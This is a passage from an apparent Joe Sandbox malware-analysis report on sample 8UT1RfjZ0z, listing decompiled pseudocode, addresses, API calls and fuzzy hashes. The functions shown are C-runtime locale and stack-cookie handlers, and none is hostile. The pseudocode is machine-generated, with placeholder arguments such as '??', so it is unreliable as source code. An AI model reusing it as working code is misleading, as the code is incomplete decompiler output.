										_v12 = MultiByteToWideChar(_a24, 1, _t66, 0xffffffff, ??, ??);
									}
									E0042E54D(_t66);
									_t32 = _v12;
									goto L30;
								}
								_t38 = 0xffffffe0;
								_t58 = _t38 % _t49;
								__eflags = _t38 / _t49 - 1;
								if(_t38 / _t49 < 1) {
									goto L22;
								}
								_t17 = _t49 + 8; // 0x8
								_t40 = _t17;
								__eflags = _t40 - 0x400;
								if(_t40 > 0x400) {
									_t41 = E0042EF11(_t49, _t58, GetLocaleInfoA, _t65, _t40);
									__eflags = _t41;
									if(_t41 != 0) {
										 *_t41 = 0xdddd;
										_t41 =  &(_t41[8]);
										__eflags = _t41;
									}
									_t66 = _t41;
									goto L23;
								}
								E004353C0(_t40);
								_t68 = _t70;
								__eflags = _t68;
								if(_t68 == 0) {
									goto L13;
								}
								 *_t68 = 0xcccc;
								_t66 =  &(_t68[8]);
								goto L23;
							} else {
								L13:
								_t32 = 0;
								L30:
								_pop(_t63);
								_pop(_t67);
								_pop(_t50);
								return E0042DBBB(_t32, _t50, _v8 ^ _t69, _t58, _t63, _t67);
							}
						}
						__eflags = _t30;
						if(_t30 != 0) {
							goto L13;
						}
						goto L10;
					}
					L7:
					_t32 = GetLocaleInfoW(_a8, _a12, _a16, _a20);
					goto L30;
				}
				if(GetLocaleInfoW(0, 1, 0, 0) == 0) {
					_t47 = GetLastError();
					__eflags = _t47 - 0x78;
					if(_t47 != 0x78) {
						_t30 =  *0x43f6b0; // 0x0
					} else {
						_t30 = 2;
						 *0x43f6b0 = _t30;
					}
					goto L6;
				}
				 *0x43f6b0 = 1;
				goto L7;
			}

0x0042e568
0x0042e56b
0x0042e56c
0x0042e56d
0x0042e574
0x0042e577
0x0042e57e
0x0042e589
0x0042e5ba
0x0042e5ba
0x0042e5bd
0x0042e5d2
0x0042e5d5
0x0042e5db
0x0042e5db
0x0042e5de
0x0042e5e1
0x0042e5eb
0x0042e5eb
0x0042e5fe
0x0042e600
0x0042e602
0x0042e60b
0x0042e651
0x0042e651
0x0042e651
0x0042e653
0x0042e653
0x0042e655
0x00000000
0x00000000
0x0042e65f
0x0042e661
0x0042e663
0x0042e667
0x0042e66a
0x0042e670
0x0042e673
0x0042e66c
0x0042e66c
0x0042e66d
0x0042e66d
0x0042e684
0x0042e684
0x0042e688
0x0042e68d
0x00000000
0x0042e690
0x0042e611
0x0042e612
0x0042e614
0x0042e617
0x00000000
0x00000000
0x0042e619
0x0042e619
0x0042e61c
0x0042e621
0x0042e63a
0x0042e63f
0x0042e642
0x0042e644
0x0042e64a
0x0042e64a
0x0042e64a
0x0042e64d
0x00000000
0x0042e64d
0x0042e623
0x0042e628
0x0042e62a
0x0042e62c
0x00000000
0x00000000
0x0042e62e
0x0042e634
0x00000000
0x0042e604
0x0042e604
0x0042e604
0x0042e691
0x0042e694
0x0042e695
0x0042e696
0x0042e6a2
0x0042e6a2
0x0042e602
0x0042e5d7
0x0042e5d9
0x00000000
0x00000000
0x00000000
0x0042e5d9
0x0042e5bf
0x0042e5cb
0x00000000
0x0042e5cb
0x0042e596
0x0042e5a0
0x0042e5a6
0x0042e5a9
0x0042e5b5
0x0042e5ab
0x0042e5ad
0x0042e5ae
0x0042e5ae
0x00000000
0x0042e5a9
0x0042e598
0x00000000

APIs

GetLocaleInfoW.KERNEL32(00000000,00000001,00000000,00000000), ref: 0042E592
GetLastError.KERNEL32 ref: 0042E5A0
GetLocaleInfoW.KERNEL32(?,?,?,?), ref: 0042E5CB
GetLocaleInfoA.KERNEL32(?,?,00000000,00000000), ref: 0042E5FC

Part of subcall function 0042EF11: HeapAlloc.KERNEL32(00000000,?,00000001,00000000,00000000,?,0042B5CA,?,00000001,?,00429892,00000018,0043AD50,0000000C,00429921,?), ref: 0042EF89

GetLocaleInfoA.KERNEL32(?,?,00000000,00000000), ref: 0042E65F
MultiByteToWideChar.KERNEL32(?,00000001,00000000,000000FF,?,?), ref: 0042E67E

Part of subcall function 0042DBBB: IsDebuggerPresent.KERNEL32 ref: 0043506E
Part of subcall function 0042DBBB: SetUnhandledExceptionFilter.KERNEL32 ref: 00435083
Part of subcall function 0042DBBB: UnhandledExceptionFilter.KERNEL32(0043ABE8), ref: 0043508E
Part of subcall function 0042DBBB: GetCurrentProcess.KERNEL32(C0000409), ref: 004350AA
Part of subcall function 0042DBBB: TerminateProcess.KERNEL32(00000000), ref: 004350B1

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: InfoLocale$ExceptionFilterProcessUnhandled$AllocByteCharCurrentDebuggerErrorHeapLastMultiPresentTerminateWide
String ID:
API String ID: 1272433821-0
Opcode ID: 5b2229c830b9b069b850ab10b4ee61eb29af04aae657d84be0604e7d9e8ada7b
Instruction ID: 37090e6b7ce35052ee04131f1484c981cdd1f27842eae3adc0082d96f399f7ed
Opcode Fuzzy Hash: 5b2229c830b9b069b850ab10b4ee61eb29af04aae657d84be0604e7d9e8ada7b
Instruction Fuzzy Hash: 8941B171B10135FFDF218F56EC809AF3BA5EB65394BA4442BF901D6260D738CC518BA9

Function 00431A16, Relevance: 7.7, APIs: 5, Instructions: 178

C-Code - Quality: 87%

			E00431A16(void* __edx, void* __eflags, signed int _a4) {
				signed int _v8;
				char _v128;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t50;
				void* _t52;
				int _t53;
				signed int _t61;
				signed int _t73;
				signed int _t76;
				signed int _t78;
				signed int _t79;
				signed int _t80;
				void* _t81;
				signed int _t88;
				signed int _t90;
				signed int _t91;
				signed int _t92;
				signed int _t94;
				void* _t95;
				void* _t96;
				int _t119;
				intOrPtr* _t121;
				signed int _t122;

				_t50 =  *0x43edf8; // 0xbb40e64e
				_v8 = _t50 ^ _t122;
				_t52 = E00429061(_t96, __edx, __eflags);
				_t117 = _a4;
				_t121 = _t52 + 0x9c;
				_t53 = E004318C1(_a4);
				_t97 = GetLocaleInfoA;
				_t119 = _t53;
				asm("sbb eax, eax");
				if(GetLocaleInfoA(_t119, ( ~( *(_t121 + 0x14)) & 0xfffff005) + 0x1002,  &_v128, 0x78) != 0) {
					_t61 = E004360CE(GetLocaleInfoA, _t117, _t119,  *((intOrPtr*)(_t121 + 4)),  &_v128);
					__eflags = _t61;
					if(_t61 != 0) {
						L15:
						__eflags = ( *(_t121 + 8) & 0x00000300) - 0x300;
						if(( *(_t121 + 8) & 0x00000300) == 0x300) {
							L31:
							_t66 =  !( *(_t121 + 8) >> 2) & 0x00000001;
							__eflags =  !( *(_t121 + 8) >> 2) & 0x00000001;
							L32:
							return E0042DBBB(_t66, _t97, _v8 ^ _t122, _t117, _t119, _t121);
						}
						asm("sbb eax, eax");
						_t73 = GetLocaleInfoA(_t119, ( ~( *(_t121 + 0x10)) & 0xfffff002) + 0x1001,  &_v128, 0x78);
						__eflags = _t73;
						if(_t73 == 0) {
							goto L1;
						}
						_t76 = E004360CE(_t97, _t117, _t119,  *_t121,  &_v128);
						_t97 = 0;
						__eflags = _t76;
						if(_t76 != 0) {
							__eflags =  *(_t121 + 0x10);
							if( *(_t121 + 0x10) != 0) {
								goto L31;
							}
							__eflags =  *(_t121 + 0xc);
							if( *(_t121 + 0xc) == 0) {
								goto L31;
							}
							_t78 = E004360CE(0, _t117, _t119,  *_t121,  &_v128);
							__eflags = _t78;
							if(_t78 != 0) {
								goto L31;
							}
							_push(0);
							L27:
							_push(_t119);
							_t79 = E004319A4(_t97, _t121, _t117, _t119);
							__eflags = _t79;
							if(_t79 == 0) {
								goto L31;
							}
							L28:
							_t44 = _t121 + 8;
							 *_t44 =  *(_t121 + 8) | 0x00000100;
							__eflags =  *_t44;
							L29:
							__eflags =  *(_t121 + 0x18) - _t97;
							if( *(_t121 + 0x18) == _t97) {
								 *(_t121 + 0x18) = _t119;
							}
							goto L31;
						}
						 *(_t121 + 8) =  *(_t121 + 8) | 0x00000200;
						__eflags =  *(_t121 + 0x10);
						_t80 =  *(_t121 + 8);
						if( *(_t121 + 0x10) == 0) {
							__eflags =  *(_t121 + 0xc);
							if( *(_t121 + 0xc) == 0) {
								goto L28;
							}
							_t81 = E0042AA00( *_t121);
							__eflags = _t81 -  *(_t121 + 0xc);
							if(_t81 !=  *(_t121 + 0xc)) {
								goto L28;
							}
							_push(1);
							goto L27;
						}
						 *(_t121 + 8) = _t80 | 0x00000100;
						goto L29;
					}
					asm("sbb eax, eax");
					_t88 = GetLocaleInfoA(_t119, ( ~( *(_t121 + 0x10)) & 0xfffff002) + 0x1001,  &_v128, 0x78);
					__eflags = _t88;
					if(_t88 == 0) {
						goto L1;
					}
					_t90 = E004360CE(GetLocaleInfoA, _t117, _t119,  *_t121,  &_v128);
					__eflags = _t90;
					if(_t90 != 0) {
						__eflags =  *(_t121 + 8) & 0x00000002;
						if(( *(_t121 + 8) & 0x00000002) != 0) {
							goto L15;
						}
						_t91 =  *(_t121 + 0xc);
						__eflags = _t91;
						if(_t91 == 0) {
							L11:
							_t117 =  *(_t121 + 8);
							__eflags = _t117 & 0x00000001;
							if((_t117 & 0x00000001) != 0) {
								goto L15;
							}
							_t92 = E004318A3(_t119);
							__eflags = _t92;
							if(_t92 == 0) {
								goto L15;
							}
							_t117 = _t117 | 0x00000001;
							__eflags = _t117;
							 *(_t121 + 8) = _t117;
							goto L14;
						}
						_t94 = E004364CB(GetLocaleInfoA, _t117, _t119,  *_t121,  &_v128, _t91);
						__eflags = _t94;
						if(_t94 != 0) {
							goto L11;
						}
						 *(_t121 + 8) =  *(_t121 + 8) | 0x00000002;
						 *(_t121 + 0x1c) = _t119;
						_t95 = E0042AA00( *_t121);
						__eflags = _t95 -  *(_t121 + 0xc);
						if(_t95 ==  *(_t121 + 0xc)) {
							 *(_t121 + 0x18) = _t119;
						}
					} else {
						 *(_t121 + 8) =  *(_t121 + 8) | 0x00000304;
						 *(_t121 + 0x18) = _t119;
						L14:
						 *(_t121 + 0x1c) = _t119;
					}
					goto L15;
				}
				L1:
				 *(_t121 + 8) =  *(_t121 + 8) & 0x00000000;
				_t66 = 1;
				goto L32;
			}

0x00431a1c
0x00431a23
0x00431a2c
0x00431a33
0x00431a35
0x00431a3b
0x00431a40
0x00431a46
0x00431a53
0x00431a65
0x00431a7a
0x00431a7f
0x00431a83
0x00431b1a
0x00431b24
0x00431b26
0x00431bca
0x00431bd2
0x00431bd2
0x00431bd5
0x00431be3
0x00431be3
0x00431b37
0x00431b45
0x00431b47
0x00431b49
0x00000000
0x00000000
0x00431b55
0x00431b5b
0x00431b5d
0x00431b60
0x00431b91
0x00431b94
0x00000000
0x00000000
0x00431b96
0x00431b99
0x00000000
0x00000000
0x00431ba1
0x00431ba6
0x00431baa
0x00000000
0x00000000
0x00431bac
0x00431bad
0x00431bad
0x00431bb0
0x00431bb5
0x00431bb9
0x00000000
0x00000000
0x00431bbb
0x00431bbb
0x00431bbb
0x00431bbb
0x00431bc2
0x00431bc2
0x00431bc5
0x00431bc7
0x00431bc7
0x00000000
0x00431bc5
0x00431b62
0x00431b69
0x00431b6c
0x00431b6f
0x00431b7b
0x00431b7e
0x00000000
0x00000000
0x00431b82
0x00431b87
0x00431b8b
0x00000000
0x00000000
0x00431b8d
0x00000000
0x00431b8d
0x00431b76
0x00000000
0x00431b76
0x00431a94
0x00431aa2
0x00431aa4
0x00431aa6
0x00000000
0x00000000
0x00431aae
0x00431ab3
0x00431ab7
0x00431ac5
0x00431ac9
0x00000000
0x00000000
0x00431acb
0x00431ace
0x00431ad0
0x00431afe
0x00431afe
0x00431b01
0x00431b04
0x00000000
0x00000000
0x00431b07
0x00431b0c
0x00431b0f
0x00000000
0x00000000
0x00431b11
0x00431b11
0x00431b14
0x00000000
0x00431b14
0x00431ad9
0x00431ae1
0x00431ae3
0x00000000
0x00000000
0x00431ae7
0x00431aeb
0x00431aee
0x00431af3
0x00431af7
0x00431af9
0x00431af9
0x00431ab9
0x00431ab9
0x00431ac0
0x00431b17
0x00431b17
0x00431b17
0x00000000
0x00431ab7
0x00431a67
0x00431a67
0x00431a6d
0x00000000

APIs

GetLocaleInfoA.KERNEL32(00000000,?,?,00000078), ref: 00431A61
GetLocaleInfoA.KERNEL32(00000000,?,?,00000078), ref: 00431AA2
_strlen.LIBCMT ref: 00431AEE
GetLocaleInfoA.KERNEL32(00000000,?,?,00000078), ref: 00431B45
_strlen.LIBCMT ref: 00431B82

Part of subcall function 004319A4: GetLocaleInfoA.KERNEL32(?,00000001,?,00000078), ref: 004319CD
Part of subcall function 004319A4: _GetPrimaryLen.LIBCMT ref: 004319F3
Part of subcall function 004319A4: _strlen.LIBCMT ref: 004319FB

Part of subcall function 0042DBBB: IsDebuggerPresent.KERNEL32 ref: 0043506E
Part of subcall function 0042DBBB: SetUnhandledExceptionFilter.KERNEL32 ref: 00435083
Part of subcall function 0042DBBB: UnhandledExceptionFilter.KERNEL32(0043ABE8), ref: 0043508E
Part of subcall function 0042DBBB: GetCurrentProcess.KERNEL32(C0000409), ref: 004350AA
Part of subcall function 0042DBBB: TerminateProcess.KERNEL32(00000000), ref: 004350B1

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: InfoLocale$_strlen$ExceptionFilterProcessUnhandled$CurrentDebuggerPresentPrimaryTerminate
String ID:
API String ID: 1589491317-0
Opcode ID: 153d2e9c5a85941a9bb14b087e75243694cce65fee6ae82ebe8b8d1ace18bfc3
Instruction ID: e54fccdbcdbe798211503ffc128ba0659dd6e2503ff44ad0d4aed330e8045ef3
Opcode Fuzzy Hash: 153d2e9c5a85941a9bb14b087e75243694cce65fee6ae82ebe8b8d1ace18bfc3
Instruction Fuzzy Hash: B5517671A00706DFEB34DE75C881A67B7E8EF18315F20942FE462C26A1E779F9448A15

Function 00429943, Relevance: 7.6, APIs: 5, Instructions: 65

C-Code - Quality: 76%

			E00429943(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, void* __eflags) {
				void* __esi;
				signed int _t32;
				signed int _t33;
				intOrPtr _t34;
				int _t45;
				intOrPtr _t55;
				intOrPtr _t56;
				int _t57;
				void* _t58;
				signed int _t59;
				void* _t61;

				_t54 = __edi;
				_t53 = __edx;
				_t48 = __ebx;
				_t59 = _t61 - 0x2a8;
				_t32 =  *0x43edf8; // 0xbb40e64e
				_t33 = _t32 ^ _t59;
				 *(_t59 + 0x2a4) = _t33;
				_push(_t55);
				 *(_t59 + 0x88) = _t33;
				 *((intOrPtr*)(_t59 + 0x84)) = __ecx;
				 *((intOrPtr*)(_t59 + 0x80)) = __edx;
				 *((intOrPtr*)(_t59 + 0x7c)) = __ebx;
				 *((intOrPtr*)(_t59 + 0x78)) = _t55;
				 *((intOrPtr*)(_t59 + 0x74)) = __edi;
				 *((intOrPtr*)(_t59 + 0xa0)) = ss;
				 *((intOrPtr*)(_t59 + 0x94)) = cs;
				 *((intOrPtr*)(_t59 + 0x70)) = ds;
				 *((intOrPtr*)(_t59 + 0x6c)) = es;
				 *((intOrPtr*)(_t59 + 0x68)) = fs;
				 *((intOrPtr*)(_t59 + 0x64)) = gs;
				asm("pushfd");
				_pop( *_t15);
				_t56 =  *((intOrPtr*)(_t59 + 0x2ac));
				_t34 = _t59 + 0x2ac;
				 *((intOrPtr*)(_t59 + 0x9c)) = _t34;
				 *((intOrPtr*)(_t59 - 0x28)) = 0x10001;
				 *((intOrPtr*)(_t59 + 0x90)) = _t56;
				 *((intOrPtr*)(_t59 + 0x8c)) =  *((intOrPtr*)(_t34 - 4));
				E0042DD30(__edi, _t59 - 0x80, 0, 0x50);
				 *(_t59 - 0x30) = _t59 - 0x80;
				 *(_t59 - 0x80) = 0xc000000d;
				 *((intOrPtr*)(_t59 - 0x74)) = _t56;
				 *((intOrPtr*)(_t59 - 0x2c)) = _t59 - 0x28;
				_t57 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(0);
				if(UnhandledExceptionFilter(_t59 - 0x30) == 0 && _t57 == 0) {
					_push(2);
					E0042DD1F(_t43);
				}
				_t45 = TerminateProcess(GetCurrentProcess(), 0xc000000d);
				_pop(_t58);
				return E0042DBBB(_t45, _t48,  *(_t59 + 0x2a4) ^ _t59, _t53, _t54, _t58);
			}

0x00429943
0x00429943
0x00429943
0x00429944
0x00429951
0x00429956
0x00429958
0x0042995e
0x0042995f
0x00429965
0x0042996b
0x00429971
0x00429974
0x00429977
0x0042997a
0x00429981
0x00429988
0x0042998c
0x00429990
0x00429994
0x00429998
0x00429999
0x0042999f
0x004299a5
0x004299ab
0x004299b1
0x004299b8
0x004299c3
0x004299cf
0x004299d7
0x004299e0
0x004299e7
0x004299ea
0x004299f5
0x004299f7
0x00429a09
0x00429a0f
0x00429a11
0x00429a16
0x00429a23
0x00429a31
0x00429a3e

APIs

IsDebuggerPresent.KERNEL32 ref: 004299ED
SetUnhandledExceptionFilter.KERNEL32 ref: 004299F7
UnhandledExceptionFilter.KERNEL32(?), ref: 00429A01
GetCurrentProcess.KERNEL32(C000000D), ref: 00429A1C
TerminateProcess.KERNEL32(00000000), ref: 00429A23

Part of subcall function 0042DBBB: IsDebuggerPresent.KERNEL32 ref: 0043506E
Part of subcall function 0042DBBB: SetUnhandledExceptionFilter.KERNEL32 ref: 00435083
Part of subcall function 0042DBBB: UnhandledExceptionFilter.KERNEL32(0043ABE8), ref: 0043508E
Part of subcall function 0042DBBB: GetCurrentProcess.KERNEL32(C0000409), ref: 004350AA
Part of subcall function 0042DBBB: TerminateProcess.KERNEL32(00000000), ref: 004350B1

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 915ddd694e03e81874bd2b27cc46ac3c6e6017f958542fe6969d96ff11beb562
Instruction ID: fcdeb08d09d52a39a5e545e368aa2672a40a472470700fcb0a43aa9cdf20edc6
Opcode Fuzzy Hash: 915ddd694e03e81874bd2b27cc46ac3c6e6017f958542fe6969d96ff11beb562
Instruction Fuzzy Hash: C4212771A113588FDF20DFA5EC497CDBBB8BF08304F50512AE948AB251EBB49A44CF59

Function 0042DBBB, Relevance: 7.6, APIs: 5, Instructions: 57

C-Code - Quality: 85%

			E0042DBBB(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x43edf8; // 0xbb40e64e
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x43f7d0 = _t6;
				 *0x43f7cc = _t22;
				 *0x43f7c8 = _t25;
				 *0x43f7c4 = _t21;
				 *0x43f7c0 = _t27;
				 *0x43f7bc = _t26;
				 *0x43f7e8 = ss;
				 *0x43f7dc = cs;
				 *0x43f7b8 = ds;
				 *0x43f7b4 = es;
				 *0x43f7b0 = fs;
				 *0x43f7ac = gs;
				asm("pushfd");
				_pop( *0x43f7e0);
				 *0x43f7d4 =  *_t31;
				 *0x43f7d8 = _v0;
				 *0x43f7e4 =  &_a4;
				 *0x43f720 = 0x10001;
				_t11 =  *0x43f7d8; // 0x0
				 *0x43f6d4 = _t11;
				 *0x43f6c8 = 0xc0000409;
				 *0x43f6cc = 1;
				_t12 =  *0x43edf8; // 0xbb40e64e
				_v812 = _t12;
				_t13 =  *0x43edfc; // 0x44bf19b1
				_v808 = _t13;
				 *0x43f718 = IsDebuggerPresent();
				_push(1);
				E0042DD1F(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x43abe8);
				if( *0x43f718 == 0) {
					_push(1);
					E0042DD1F(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x0042dbbb
0x0042dbbb
0x0042dbbb
0x0042dbbb
0x0042dbbb
0x0042dbbb
0x0042dbbb
0x0042dbc1
0x0042dbc3
0x0042dbc3
0x00434fbe
0x00434fc3
0x00434fc9
0x00434fcf
0x00434fd5
0x00434fdb
0x00434fe1
0x00434fe8
0x00434fef
0x00434ff6
0x00434ffd
0x00435004
0x0043500b
0x0043500c
0x00435015
0x0043501d
0x00435025
0x00435030
0x0043503a
0x0043503f
0x00435044
0x0043504e
0x00435058
0x0043505d
0x00435063
0x00435068
0x00435074
0x00435079
0x0043507b
0x00435083
0x0043508e
0x0043509b
0x0043509d
0x0043509f
0x004350a4
0x004350b8

APIs

IsDebuggerPresent.KERNEL32 ref: 0043506E
SetUnhandledExceptionFilter.KERNEL32 ref: 00435083
UnhandledExceptionFilter.KERNEL32(0043ABE8), ref: 0043508E
GetCurrentProcess.KERNEL32(C0000409), ref: 004350AA
TerminateProcess.KERNEL32(00000000), ref: 004350B1

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: c2d0f21de5b9cf95e6b8421ef248d7c355e121ca89d4e2e5eb8809fa5c7dcd32
Instruction ID: 4726600abf7b1595170741aaa895c98ddf4e7a6f5732d5b4a1f65bbceacc6ecf
Opcode Fuzzy Hash: c2d0f21de5b9cf95e6b8421ef248d7c355e121ca89d4e2e5eb8809fa5c7dcd32
Instruction Fuzzy Hash: 1621C7B9D112059FDB00DF69F989A447BF0FB08310F90703AE909872B0E3B499898B4D

Function 0042DBBB, Relevance: 7.6, APIs: 5, Instructions: 57

APIs

IsDebuggerPresent.KERNEL32 ref: 0043506E
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00435083
UnhandledExceptionFilter.KERNEL32(0043ABE8), ref: 0043508E
GetCurrentProcess.KERNEL32(C0000409), ref: 004350AA
TerminateProcess.KERNEL32(00000000), ref: 004350B1

Memory Dump Source

Source File: 00000000.00000002.791223681.000000000042D000.00000020.sdmp, Offset: 0042D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_42d000_8UT1RfjZ0z.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: c2d0f21de5b9cf95e6b8421ef248d7c355e121ca89d4e2e5eb8809fa5c7dcd32
Instruction ID: 4726600abf7b1595170741aaa895c98ddf4e7a6f5732d5b4a1f65bbceacc6ecf
Opcode Fuzzy Hash: c2d0f21de5b9cf95e6b8421ef248d7c355e121ca89d4e2e5eb8809fa5c7dcd32
Instruction Fuzzy Hash: 1621C7B9D112059FDB00DF69F989A447BF0FB08310F90703AE909872B0E3B499898B4D

Function 0042E6DE, Relevance: 6.1, APIs: 4, Instructions: 127

APIs

GetLastError.KERNEL32 ref: 0042E716
__alloca_probe_16.NTDLLP ref: 0042E788
WideCharToMultiByte.KERNEL32(?,00000000,00000000,000000FF,?,?,00000000,00000000), ref: 0042E7E4
GetLocaleInfoA.KERNEL32(?,?,?,?), ref: 0042E803

Part of subcall function 0042DBBB: IsDebuggerPresent.KERNEL32 ref: 0043506E
Part of subcall function 0042DBBB: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00435083
Part of subcall function 0042DBBB: UnhandledExceptionFilter.KERNEL32(0043ABE8), ref: 0043508E
Part of subcall function 0042DBBB: GetCurrentProcess.KERNEL32(C0000409), ref: 004350AA
Part of subcall function 0042DBBB: TerminateProcess.KERNEL32(00000000), ref: 004350B1

Memory Dump Source

Source File: 00000000.00000002.791223681.000000000042D000.00000020.sdmp, Offset: 0042D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_42d000_8UT1RfjZ0z.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$ByteCharCurrentDebuggerErrorInfoLastLocaleMultiPresentTerminateWide__alloca_probe_16
String ID:
API String ID: 1151356699-0
Opcode ID: 92866ff47ff1bc26037a561e98afaeaae87e2720d2d4499c5137360540f1be09
Instruction ID: 6615d2d137f2c1029600ff0af5fc59a3f1b0dc355a3dcfc1386abcbc7fe50414
Opcode Fuzzy Hash: 92866ff47ff1bc26037a561e98afaeaae87e2720d2d4499c5137360540f1be09
Instruction Fuzzy Hash: 60418431700135AB9F219F57EC85CAF7BA5EB99760BA0042BF505D2250D6348C51DBA9

Function 00404B80, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 61

APIs

PathFindFileNameW.SHLWAPI(004169F5), ref: 00404B8A

Part of subcall function 00410D90: lstrlenW.KERNEL32(00000000), ref: 00410DAD
Part of subcall function 00410D90: GetProcessHeap.KERNEL32(00000008,000000FE), ref: 00410DBF
Part of subcall function 00410D90: HeapAlloc.KERNEL32(00000000), ref: 00410DC6
Part of subcall function 00410D90: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,000000FE,00000000,00000000), ref: 00410DF0
Part of subcall function 00410D90: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00410E13
Part of subcall function 00410D90: HeapFree.KERNEL32(00000000), ref: 00410E1A

Strings

CacX, xrefs: 00404BB9
, xrefs: 00404C19

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$AllocByteCharFileFindFreeMultiNamePathWidelstrlen
String ID: $CacX
API String ID: 3702123249-1778096695
Opcode ID: c9ead25efca0388e7f7feb67a0de30a3f2d2372c2ea7c3f9eae68ed2dece2369
Instruction ID: 97cf3f0491bb10abfe71f1abd88f267d026b49d45e112f825af31f1a8bc1b0a3
Opcode Fuzzy Hash: c9ead25efca0388e7f7feb67a0de30a3f2d2372c2ea7c3f9eae68ed2dece2369
Instruction Fuzzy Hash: 8C21E2B0D05208EBDB14DFD8D9856EEBBB1FB44304F60816AD521BB380D379AA91CB59

Function 0043182C, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49

C-Code - Quality: 34%

			E0043182C(intOrPtr __ebx, char* __ecx, intOrPtr __edx, intOrPtr __edi) {
				signed int _v8;
				char _v16;
				void* __esi;
				signed int _t7;
				intOrPtr _t15;
				intOrPtr _t24;
				intOrPtr _t25;
				char* _t26;
				signed int _t27;

				_t25 = __edi;
				_t24 = __edx;
				_t15 = __ebx;
				_t7 =  *0x43edf8; // 0xbb40e64e
				_v8 = _t7 ^ _t27;
				_t26 = __ecx;
				if(__ecx == 0 ||  *__ecx == 0 || E00431730(__ecx, ?str?) == 0) {
					_push(8);
					_push( &_v16);
					_push(0x1004);
					goto L6;
				} else {
					if(E00431730(_t26, ?str?) != 0) {
						L8:
						_t10 = E00436385(_t26);
					} else {
						_push(8);
						_push( &_v16);
						_push(0xb);
						L6:
						if(GetLocaleInfoA( *(_t25 + 0x1c), ??, ??, ??) != 0) {
							_t26 =  &_v16;
							goto L8;
						}
					}
				}
				return E0042DBBB(_t10, _t15, _v8 ^ _t27, _t24, _t25, _t26);
			}

0x0043182c
0x0043182c
0x0043182c
0x00431832
0x00431839
0x0043183d
0x00431841
0x00431874
0x00431879
0x0043187a
0x00000000
0x00431859
0x00431868
0x0043188f
0x00431890
0x0043186a
0x0043186a
0x0043186f
0x00431870
0x0043187f
0x0043188a
0x0043188c
0x00000000
0x0043188c
0x0043188a
0x00431868
0x004318a2

APIs

GetLocaleInfoA.KERNEL32(00001004,00001004,?,00000008), ref: 00431882

Part of subcall function 0042DBBB: IsDebuggerPresent.KERNEL32 ref: 0043506E
Part of subcall function 0042DBBB: SetUnhandledExceptionFilter.KERNEL32 ref: 00435083
